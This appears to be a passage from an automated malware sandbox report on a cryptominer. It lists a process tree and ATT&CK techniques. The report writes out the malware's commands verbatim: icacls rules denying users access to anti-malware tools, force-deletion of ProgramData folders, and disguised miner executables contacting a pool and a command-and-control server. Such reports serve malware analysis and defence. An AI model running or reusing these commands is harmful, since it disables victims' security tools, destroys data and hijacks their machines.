C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\SUPERAntiSpyware" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "c:\program files\SUPERAntiSpyware" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\PROGRAM FILES\RogueKiller" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\PROGRAM FILES\RogueKiller" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Moo0" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Moo0" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpeedFan" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\SpeedFan" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /F /S /Q /A ""C:\ProgramData\Microsoft\MapData\*.*""2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /F /S /Q /A ""C:\ProgramData\Microsoft\DRM\*.*""2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /F /S /Q /A ""C:\ProgramData\Microsoft\MapData\*.*""2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /F /S /Q /A ""C:\ProgramData\Microsoft\DRM\*.*""2⤵
-
-
C:\ProgramData\WindowsTask\audiodg.exeC:\ProgramData\WindowsTask\audiodg.exe2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\WindowsTask\AppHost.exeC:\ProgramData\WindowsTask\AppHost.exe -o 85.137.164.191:443 -u CPUX -k --cpu-max-threads-hint=35 --donate-level=1 --cpu-priority=0 --cc-update-interval-s=59 --cc-url=91.199.147.204:3344 --cc-access-token=magic --tls2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\ProgramData\WindowsTask\MicrosoftHost.exe" --daemonized -o 85.137.164.191:443 -u CPUX -k --cpu-max-threads-hint=35 --donate-level=1 --cpu-priority=0 --cc-update-interval-s=59 --cc-url=91.199.147.204:3344 --cc-access-token=magic --tls3⤵
-
C:\ProgramData\WindowsTask\MicrosoftHost.exeC:\ProgramData\WindowsTask\MicrosoftHost.exe --daemonized -o 85.137.164.191:443 -u CPUX -k --cpu-max-threads-hint=35 --donate-level=1 --cpu-priority=0 --cc-update-interval-s=59 --cc-url=91.199.147.204:3344 --cc-access-token=magic --tls4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
1File Deletion
1Modify Registry
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
AppHost.exe
MicrosoftHost.exe
WinRing0x64.sys
audiodg.exe
autBF92.tmp
memory/1772-32-0x000001999F850000-0x000001999F870000-memory.dmp
memory/2232-33-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-34-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-36-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-37-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-35-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-38-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-39-0x00007FF61F670000-0x00007FF620441000-memory.dmp
memory/2232-40-0x00007FF61F670000-0x00007FF620441000-memory.dmp